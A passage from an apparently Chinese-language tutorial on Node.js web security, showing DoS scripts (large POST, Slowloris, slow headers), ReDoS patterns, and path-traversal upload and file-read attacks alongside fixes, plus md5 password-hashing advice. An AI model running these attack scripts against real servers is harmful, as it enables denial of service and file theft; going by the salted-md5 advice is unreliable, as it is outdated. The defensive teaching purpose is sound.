var fs = require('fs');
var options = {
  hostname: '127.0.0.1',
  port: 8124,
  path: '/json',
  method: 'POST'
};
var request = http.request(options, function(res) {
    res.setEncoding('utf8');
    res.on('readable', function () {
      console.log(res.read());
    });
});
fs.createReadStream('./large_file').pipe(request);

咱们看一下Node.js服务器在受攻击先后内存的使用状况:

{ rss: 14225408, heapTotal: 6147328, heapUsed: 2688280 }
{ rss: 15671296, heapTotal: 7195904, heapUsed: 2861704 }
{ rss: 822194176, heapTotal: 78392696, heapUsed: 56070616 }
{ rss: 1575043072, heapTotal: 79424632, heapUsed: 43795160 }
{ rss: 1575579648, heapTotal: 80456568, heapUsed: 43675448 }

那么应该如何解决这类恶意攻击呢?咱们只须要将Node.js服务器代码修改以下,就能够避免用户上传过大的数据了:

var http = require('http');
http.createServer(function (req, res) {
  if(req.url === '/json' && req.method === 'POST'){//获取用上传代码
  var body = [];
  var len = 0;//定义变量用来记录用户上传文件大小
    req.on('data',function(chunk){
        body.push(chunk);//获取buffer
        len += chunk.length;
        if(len>=1024*1024){//每次收到一个buffer块都要比较一下是否超过1mb
            res.end('too large');//直接响应错误
        }
    })
    req.on('end',function(){
       body = Buffer.concat(body,len);
       res.writeHead(200, {'Content-Type': 'text/plain'});
       //db.save(body) 这里数据库入库操做
       res.end('ok');
    })  
  }
}).listen(8124);

经过上述代码的调整,咱们每次收到一个buffer块都会去比较一下大小,若是数据超大则马上截断上传,保证恶意用户没法上传超大文件消耗服务器物理内存。

Slowlori攻击

POST慢速DoS攻击是在2010年OWASP大会上被披露的,这种攻击方式针对配置较低的服务器具备很强的威力,每每几台攻击客户端就能够轻松击垮一台web应用服务器。

攻击者先向web应用服务器发起一个正常的POST请求,设定一个在web服务器限定范围内而且比较大的Content-Length,而后以很是慢的速度发送数据,好比30秒左右发送一次10byte的数据给服务器,保持这个链接不释放。由于客户端一直在向服务器发包,因此服务器也不会认为链接超时,这样服务器的一个tcp链接就一直被这样一个慢速的POST占用,极大的浪费了服务器资源。

这个攻击能够针对任意一个web服务器进行,因此受众面很是广;并且此类攻击手段很是简单和廉价,通常一台普通的我的计算机就能够提供2-3千个tcp链接,因此只要同时有几台攻击机器,web服务器可能马上就会由于链接数耗尽而拒绝服务。

下面是一个Node.js版本的Slowlori攻击恶意脚本:

var http = require('http');
var options = {
  hostname: '127.0.0.1',
  port: 8124,
  path: '/json',
  method: 'POST',
  headers:{
  "Content-Length":1024*1024
  }
};
var max_conn = 1000;
http.globalAgent.maxSockets = max_conn;//设定最大请求链接数
var reqArray = [];
var buf = new Buffer(1024);
buf.fill('h');
while(max_conn--){
  var req = http.request(options, function(res) {
      res.setEncoding('utf8');
      res.on('readable', function () {
        console.log(res.read());
      });
  });
  reqArray.push(req);
}
setInterval(function(){//定时隔5秒发送一次
  reqArray.forEach(function(v){
    v.write(buf);
  })
},1000*5);

因为Node.js的天生单线程优点,咱们能够只写一个定时器,而不用像其余语言建立1000个线程,每一个线程里面一个定时器在那里跑。有网友通过测试,发现慢POST攻击对Apache的效果十分明显,ApachemaxClients几乎在瞬间被锁住,客户端浏览器在攻击进行期间甚至没法访问测试页面。

想要抵挡这类慢POST攻击,咱们能够在Node.js应用前面放置一个靠谱的web服务器,好比Nginx,合理的配置能够有效的减轻这类攻击带来的影响。

Http Header攻击

通常web服务器都会设定HTTP请求头的接收时长,是指客户端在指定的时长内必须把HTTPhead发送完毕。若是web服务器在这方面没有作限制,咱们也能够用一样的原理慢速的发送head数据包,形成服务器链接的浪费,下面是攻击脚本代码:

var net = require('net');
var maxConn = 1000;
var head_str = 'GET / HTTP/1.1\r\nHost: 192.168.17.55\r\n'
var clientArray = [];
while(maxConn--){
  var client = net.connect({port: 8124, host:'192.168.17.55'});
    client.write(head_str);
    client.on('error',function(e){
       console.log(e)
    })
    client.on('end',function(){
       console.log('end')
    })
    clientArray.push(client);
}
setInterval(function(){//定时隔5秒发送一次
  clientArray.forEach(function(v){
      v.write('xhead: gap\r\n');
  })
},1000*5);

这里定义了一个永远发不完的请求头,定时每5秒钟发送一个,相似慢POST攻击,咱们慢慢悠悠的发送HTTP请求头,当链接数耗尽,服务器也就拒绝响应服务了。

随着咱们链接数增长,最终Node.js服务器可能会由于打开文件数过多而崩溃:

/usr/local/nodejs/test/http_server.js:10
        console.log(process.memoryUsage());
                            ^
Error: EMFILE, too many open files
    at null.<anonymous> (/usr/local/nodejs/test/http_server.js:10:22)
    at wrapper [as _onTimeout] (timers.js:252:14)
    at Timer.listOnTimeout [as ontimeout] (timers.js:110:15)

Node.js对用户HTTP的请求响应头作了大小限制,最大不能超过50KB,因此我没法向HTTP请求头里发送大量的数据从而形成服务器内存占用,若是web服务器没有作这个限制,咱们能够利用POST发送大数据那样,将一个超大的HTTP头发送给服务器,恶意消耗服务器的内存。

正则表达式的DoS

平常使用判断用户输入是否合法的正则表达式,若是书写不够规范也可能成为恶意用户攻击的对象。

正则表达式引擎NFA具备回溯性,回溯的一个重要负面影响是,虽然正则表达式能够至关快速地计算肯定匹配(输入字符串与给定正则表达式匹配),但确认否认匹配(输入字符串与正则表达式不匹配)所需的时间会稍长。实际上,引擎必须肯定输入字符串中没有任何可能的“路径”与正则表达式匹配才会认为否认匹配,这意味着引擎必须对全部路径进行测试。

好比,咱们使用下面的正则表达式来判断字符串是否是所有为数字:

^\(d+)$

先简单解释一下这个正则表达式,^$分别表示字符串的开头和结尾严格匹配,\d表明数字字符,+表示有一个或多个字符匹配,上面这个正则表达式表示必须是一个或多个数字开头而且以数字结尾的纯数字字符串。

若是待匹配字符串所有为纯数字,那这是一个至关简单的匹配过程,下面咱们使用字符串123456X做为待判断字符串来讲明上述正则表达式的详细匹配过程。

字符串123456X很明显不是匹配项,由于X不是数字字符。但上述正则表达式必须计算多少个路径才能得出此结论呢?今后字符串第一位开始计算,发现字符1是一个有效的数字字符,与此正则表达式匹配。而后它会移动到字符2,该字符也匹配。在此时,正则表达式与字符串12匹配。而后尝试3(匹配123),依次类推,一直到到达X,得出结论该字符不匹配。

可是,因为正则表达式引擎的回溯性,它不会在此点上中止,而是从其当前的匹配123456返回到上一个已知的匹配12345,从那里再次尝试匹配。

因为5后面的下一个字符不是此字符串的结尾,所以引擎认为不是匹配项,接着它会返回到其上一个已知的匹配1234,再次进行尝试匹配。按这种方式进行全部匹配,直到此引擎返回到其第一个字符1,发现1后面的字符不是字符串的结尾,此时,匹配中止。

总的说来,此引擎计算了六个路径:12345612345123412312 和1。若是此输入字符串再增长一个字符,则引擎会多计算一个路径。所以,此正则表达式是相对于字符串长度的线性算法,不存在致使DoS的风险。

这类计算通常速度很是迅速,能够轻松拆分长度超过1万的字符串。可是,若是咱们对此正则表达式进行细微的修改,状况可能大不相同:

^(\d+)+$

分组表达式(\d+)后面有额外的+字符,代表此正则表达式引擎可匹配一个或多个的匹配组(\d+)

咱们仍是输入123456X字符串做为待匹配字符串,在匹配过程当中,计算到达123456以后回溯到12345,此时引擎不只会检查到5后面的下一个字符不是此字符串的结尾,并且还会将下一个字符6做为新的匹配组,并从那里从新开始检查,一旦此匹配失败,它会返回到1234,先将56做为单独的匹配组进行匹配,而后将56分别做为单独的匹配组进行计算,这样直到返回1为止。

这样攻击者只要提供相对较短的输入字符串大约30 个字符左右,就可让匹配所需时间大大增长,下面是相关测试代码:

var regx = /^(\d+)$/;
var regx2 = /^(\d+)+$/;
var str = '1234567890123456789012345X';
console.time('^\(d+)$');
regx.test(str);
console.timeEnd('^\(d+)$');
console.time('^(\d+)+$');
regx2.test(str);
console.timeEnd('^(\d+)+$');

咱们用正则表达式^(\d+)$^(\d+)+$分别对一个长度为26位的字符串进行匹配操做,执行结果以下:

^(d+)$: 0ms
^(d+)+$: 866ms

若是咱们继续增长待检测字符串的长度,那么匹配时间将成倍的延长,从而由于服务器cpu频繁计算而无暇处理其余任务,形成拒绝服务。下面是一些有问题的正则表达式示例:

^(\d+)*$ 
^(\d*)*$ 
^(\d+|\s+)*$

当正则漏洞隐藏于一些比较长的正则表达式中时,可能更加难以发现:

^([0-9a-zA-Z]([-.\w]*[0-9a-zA-Z])*@(([0-9a-zA-Z])+([-\w]*[0-9a-zA-Z])*\.)+[a-zA-Z]{2,9})$

上述正则表达式是在正则表达式库网站(regexlib.com)上找到的,咱们能够经过以下代码进行简单的测试:

var regx = /^([0-9a-zA-Z]([-.\w]*[0-9a-zA-Z])*@(([0-9a-zA-Z])+([-\w]*[0-9a-zA-Z])*\.)+[a-zA-Z]{2,9})$/;
var str1 = '123@1234567890.com';
var str2 = '123@163';//正经常使用户忘记输入.com了
var str3 = '123@1234567890123456789012345..com';//恶意字符串
console.time('str1');
regx.test(str1);
console.timeEnd('str1');
console.time('str2');
regx.test(str2);
console.timeEnd('str2');
console.time('str3');
regx.test(str3);
console.timeEnd('str3');

咱们执行上述代码,结果以下:

str1: 0ms
str2: 0ms
str3: 1909ms

输入正确、正常错误和恶意代码的执行结果区别很大,若是咱们恶意代码不断加长,最终将致使服务器拒绝服务,上述这个正则表达式的漏洞之处就在于它企图经过使用对分组后再进行+符号的匹配,它原来的目的是为验证多级域名下的合法邮箱地址,例如:abc@aaa.bbb.ccc.gmail.com,没想到却成为了漏洞。

正则表达式的DoS不只仅局限于Node.js语言,使用任何一门语言进行开发都须要面临这个问题,固然在使用正则来编写express框架的路由时尤为须要注意,一个很差的正则路由匹配可能会被恶意用户DoS攻击,总之在使用正则表达式时咱们应该多留一个心眼,仔细检查它们是否足够强壮,避免被DoS攻击。

文件路径漏洞

文件路径漏洞也是很是致命的,经常伴随着被恶意用户挂木马或者代码泄漏,因为Node.js提供的HTTP模块很是的底层,因此不少工做须要开发者本身来完成,可能由于业务比较简单,不去使用成熟的框架,在写代码时稍不注意就会带来安全隐患。

本章将会经过制做一个网络分享的网站,说明文件路径攻击的两种方式。

上传文件漏洞

文件上传功能在网站上是很常见的,如今假设咱们提供一个网盘分享服务,用户能够上传待分享的文件,全部用户上传的文件都存放在/file文件夹下。其余用户经过浏览器访问'/list'看到你们分享的文件。

首先,咱们要启动一个HTTP服务器,为用户访问根目录/提供一个能够上传文件的静态页面。

var http = require('http');
var fs = require('fs');
var upLoadPage = fs.readFileSync(__dirname+'/upload.html');
//读取页面到内存,不用每次请求都去作i/o
http.createServer(function (req, res) {
  res.writeHead(200, {'Content-Type': 'text/html'});//响应头设置html
  if(req.url === '/' && req.method === 'GET'){//请求根目录,获取上传文件页面
        return res.end(upLoadPage);
  }
  if(req.url === '/list' && req.method === 'GET'){//列表展示用户上传的文件
        fs.readdir(__dirname+'/file', function(err,array){
            if(err) return res.end('err');
            var htmlStr='';
            array.forEach(function(v){
                htmlStr += '<a href="/file/'+v+'" target="_blank">'+v+'</a> <br/><br/>'
            });
            res.end(htmlStr);
        })
        return;
  }
  if(req.url === '/upload' && req.method === 'POST'){//获取用上传代码,稍后完善 
        return;
  }
  if(req.url === '/file' && req.method === 'GET'){//能够直接下载用户分享的文件,稍后完善 
        return;
  }
  res.end('Hello World\n');
}).listen(8124);

咱们启动了一个web服务器监听8124端口,而后写了4个路由配置,分别是:

(1)输出upload.html静态页面;

(2)展示全部用户上传文件列表的页面;

(3)接受用户上传文件功能;

(4)单独输出某一个分享文件详细内容的功能,这里出于简单咱们只分享文字。

upload.html文件代码以下,它是一个具备的form表单上传文件功能的静态页面:

<!DOCTYPE>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>upload</title>
</head>
<body>
<h1>网络分享平台</h1>
<form method="post" action="/upload" enctype="multipart/form-data">
    <p>选择文件:<p>
    <p><input type="file" name="myfile" /></p>
    <button type="submit">完成提交</button>
</form>
</body>
</html>

接下来咱们就须要完成整个分享功能的核心部分,接收用户上传的文件而后保存在/file文件夹下,这里咱们暂时不考虑用户上传文件重名的问题。咱们利用formidable包来处理文件上传的协议细节,因此咱们先执行npm install formidable命令安装它,下面是处理用户文件上传的相关代码:

...

var formidable = require('formidable');

http.createServer(function (req, res) {

  ...

    if(req.url === '/upload' && req.method === 'POST'){//获取用上传代码
        var form = new formidable.IncomingForm();
        form.parse(req, function(err, fields, files) {
          res.writeHead(200, {'content-type': 'text/plain'});
          var filePath = files.myfile.path;//得到临时文件存放地址
          var fileName = files.myfile.name;//原始文件名
          var savePath = __dirname+'/file/';//文件保存路径
          fs.createReadStream(filePath).pipe(fs.createWriteStream(savePath+fileName));
          //将文件拷贝到file目录下
          fs.unlink(filePath);//删除临时文件
          res.end('success');
        });
        return;
  }

 ...

}).listen(8124);

经过formidable包接收用户上传请求以后,咱们能够获取到files对象,它包括了name文件名,path临时文件路径等属性,打印以下:

{ myfile:
   { domain: null,
     size: 4,
     path: 'C:\\Users\\snoopy\\AppData\\Local\\Temp\\a45cc822df0553a9080cb3bfa1645fd7',
     name: '111.txt',
     type: 'text/plain',
     hash: null,
     lastModifiedDate: null,
     }
 }

咱们完善了/upload路径下的代码,利用formidable包很容易就获取了用户上传的文件,而后咱们把它拷贝到/file文件夹下,并重命名它,最后删除临时文件。

咱们打开浏览器,访问127.0.0.1:8124上传文件,而后访问127.0.0.1:8124/list,经过下面的图片能够看到文件已经上传成功了。

upload 1

可能细心的读者已经发现这个上传功能彷佛存在问题,如今咱们开始构建攻击脚本,打算将hack.txt木马挂载到网站的根目录中,由于咱们规定用户上传的文件必须在/file文件夹下,因此若是咱们将文件上传至网站根目录,能够算是一次成功的挂马攻击了。

咱们将模拟浏览器发送一个上传文件的请求,构建恶意脚本以下:

var http = require('http');
var fs = require('fs');
var options = {
  hostname: '127.0.0.1',
  port: 8124,
  path: '/upload',
  method: 'POST'
};
var request = http.request(options, function(res) {});
var boundaryKey = Math.random().toString(16); //随机分割字符串
request.setHeader('Content-Type', 'multipart/form-data; boundary="'+boundaryKey+'"');
//设置请求头,这里须要设置上面生成的分割符
request.write( 
  '--' + boundaryKey + '\r\n'
  //在这边输入你的mime文件类型
  + 'Content-Type: application/octet-stream\r\n' 
  //"name"input框的name
  //"filename"文件名称,这里就是上传文件漏洞的攻击点
  + 'Content-Disposition: form-data; name="myfile"; filename="../hack.txt"\r\n' //注入恶意文件名
  + 'Content-Transfer-Encoding: binary\r\n\r\n' 
);
fs.createReadStream('./222.txt', { bufferSize: 4 * 1024 })
  .on('end', function() {
    //加入最后的分隔符
    request.end('\r\n--' + boundaryKey + '--'); 
  }).pipe(request) //管道发送文件内容

咱们在启动恶意脚本以前,使用dir命令查看目前网站根目录下的文件列表:

2013/11/26  15:04    <DIR>          .
2013/11/26  15:04    <DIR>          ..
2013/11/26  13:13             1,409 app.js
2013/11/26  13:53    <DIR>          file
2013/11/26  15:04    <DIR>          hack
2013/11/26  13:44    <DIR>          node_modules
2013/11/26  11:04               368 upload.html

app.js是咱们以前的服务器文件,hack文件夹存放的就是恶意脚本,下面是执行恶意脚本以后的文件列表

2013/11/26  15:09    <DIR>          .
2013/11/26  15:09    <DIR>          ..
2013/11/26  13:13             1,409 app.js
2013/11/26  13:53    <DIR>          file
2013/11/26  15:04    <DIR>          hack
2013/11/26  15:09                12 hack.txt
2013/11/26  13:44    <DIR>          node_modules
2013/11/26  11:04               368 upload.html

咱们看到多了一个hack.txt文件,这说明咱们成功的向网站根目录上传了一份恶意文件,若是咱们直接覆盖upload.html文件,甚至能够修改掉网站的首页,因此此类漏洞危害很是之大。咱们关注受攻击点的代码:

fs.createReadStream(filePath).pipe(fs.createWriteStream(savePath+fileName));

咱们草率的把文件名和保存路径直接拼接,这是很是有风险的,幸亏Node.js提供给咱们一个很好的函数来过滤掉此类漏洞。咱们把代码修改为下面那样,恶意脚本就没法直接向网站根目录上传文件了。

fs.createReadStream(filePath).pipe(fs.createWriteStream(savePath + path.basename(fileName)));

经过path.basename咱们就能直接获取文件名,这样恶意脚本就没法再利用相对路径../进行攻击。

文件浏览漏洞

用户上传分享完文件,咱们能够经过访问/list来查看全部文件的分享列表,经过点击的<a>标签查看此文件的详细内容,下面咱们把显示文件详细内容的代码补上。

...

http.createServer(function (req, res) {

  ...

    if(req.url.indexOf('/file') === 0 && req.method === 'GET'){//能够直接下载用户分享的文件
        var filePath = __dirname + req.url; //根据用户请求的路径查找文件
        fs.exists(filePath, function(exists){
            if(!exists) return res.end('not found file'); //若是没有找到文件,则返回错误
            fs.createReadStream(filePath).pipe(res); //不然返回文件内容
        })
        return;
    }

 ...

}).listen(8124);

聪明的读者应该已经看出其中代码的问题了,若是咱们构建恶意访问地址:

http://127.0.0.1:8124/file/../app.js

这样是否是就将咱们启动服务器的脚本文件app.js直接输出给客户端了呢?下面是恶意脚本代码:

var http = require('http');
var options = {
  hostname: '127.0.0.1',
  port: 8124,
  path: '/file/../app.js',
  method: 'GET'
};
var request = http.request(options, function(res) {
    res.setEncoding('utf8');
    res.on('readable', function () {
      console.log(res.read())
    });
});
request.end();

在Node.js的0.10.x版本新增了stream的`readable事件,而后可直接调用res.read()读取内容,无须像之前那样先监听date事件进行拼接,再监听end事件获取内容了。

恶意代码请求了/file/../app.js路径,把咱们整个app.js文件打印了出来。形成咱们恶意脚本攻击成功必然是以下代码:

var filePath = __dirname + req.url;

相信有了以前的解决方案,这边读者自行也能够轻松搞定。

加密安全

咱们在作web开发时会用到各类各样的加密解密,传统的加解密大体能够分为三种:

(1)对称加密,使用单密钥加密的算法,即加密方和解密方都使用相同的加密算法和密钥,因此密钥的保存很是关键,由于算法是公开的,而密钥是保密的,常见的对称加密算法有:AESDES等。

(2)非对称加密,使用不一样的密钥来进行加解密,密钥被分为公钥和私钥,用私钥加密的数据必须使用公钥来解密,一样用公钥加密的数据必须用对应的私钥来解密,常见的非对称加密算法有:RSA等。

(3)不可逆加密,利用哈希算法使数据加密以后没法解密回原数据,这样的哈希算法经常使用的有:md5SHA-1等。

咱们在开发过程当中能够使用Node.js的Crypto模块来进行相关的操做。

md5存储密码

在开发网站用户系统的时候,咱们都会面临用户的密码如何存储的问题,明文存储固然是不行的,以前有不少历史教训告诉咱们,明文存储,一旦数据库被攻破,用户资料将会所有展示给攻击者,给咱们带来巨大的损失。

目前比较流行的作法是对用户注册时的密码进行md5加密存储,下次用户登陆的时候,用一样的算法生成md5字符串和数据库原有的md5字符串进行比对,从而判断密码正确与否。

这样作的好处不言而喻,一旦数据泄漏,恶意用户也是没法直接获取用户密码的,由于md5加密是不可逆的。

可是md5加密有一个特色,一样的一个字符串通过md5哈希计算以后老是会生成相同的加密字符串,因此攻击者能够利用强大的md5彩虹表来逆推加密前的原始字符串,下面咱们来看个例子:

var crypto = require('crypto');
var md5 = function (str, encoding){
  return crypto
    .createHash('md5')
    .update(str)
    .digest(encoding || 'hex');
};
var password = 'nodejs';
console.log(md5(password));

上面代码咱们对字符串nodejs进行了md5加密存储,打印的加密字符串以下:

671a0da0ba061c98de801409dbc57d7e

咱们经过谷歌搜索md5解密关键字,进入一个在线md5破解的网站,输入刚才的加密字符串进行破解:

md5 1

咱们发现虽然md5加密不可逆,但仍是被破解出来了。因而咱们改良算法,为全部用户密码存储加上统一的salt值,而不是直接的进行md5加密:

var crypto = require('crypto');
var md5 = function (str, encoding){
  return crypto
    .createHash('md5')
    .update(str)
    .update('abc') //这边加入固定的salt值用来加密
    .digest(encoding || 'hex');
};
var password = 'nodejs';
console.log(md5(password));

此次咱们对用户密码增长saltabc进行加密,咱们仍是把生成的加密字符串放入破解网站进行破解:

md5 2

网站提示咱们要交费才能查看结果,可是密码仍是被它破解出来了,看来一些统一的简单的salt值是没法知足加密需求的。

因此比较好的保存用户密码的方式应该是在user表增长一个salt字段,每次用户注册都要去随机生成一个位数够长的salt字符串,而后再根据这个salt值加密密码,相关流程代码以下:

var crypto = require('crypto');
var md5 = function (str, encoding){
  return crypto
    .createHash('md5')
    .update(str)
    .digest(encoding || 'hex');
};
var gap = '-';
var password = 'nodejs';
var salt = md5(Date.now().toString());
var md5Password = md5(salt+gap+password);
console.log(md5Password);
//0199c7e47cb9b55adac21ebc697673f4

这样咱们生成的加密密码是足够强壮的,就算攻击者拿到了咱们数据库,因为他没有咱们的代码,不知道咱们的加密规则因此也就很难破解用户的真实密码,并且每一个用户的密码加密salt值都不一样,对破解也带来很多难度。

小结

web安全是咱们必须关注且没法逃避的话题,本章介绍了各类常见的web攻击技巧和应对方案,特别是针对Node.js这门新兴起的语言,安全更为重要。咱们建议每一位站长在把Node.js部署到生产环境时,将Node.js应用放置在Nginx等web服务器后方,毕竟Node.js还很年轻,须要有一位老大哥将还处于儿童期的Node.js保护好,而不是让它直接面临互联网的各类威胁。

对于例如SQLXSS等注入式攻击,咱们必定要对用户输入的内容进行严格的过滤和审查,这样能够避免绝大多数的注入式攻击方式,对于DoS攻击咱们就须要使用各类工具和配置来减轻危害,另外容易被DDoS(Distributed Denial of Service 分布式拒绝服务)攻击的还有HTTPS服务,在通常不配备SSL加速卡的服务器上,HTTPHTTPS处理性能上要相差几十甚至上百倍。

最后咱们必须作好严密的系统监控,一旦发现系统有异常状况,必须立刻能作出合理的响应措施。

参考文献

相关文章
相关标签/搜索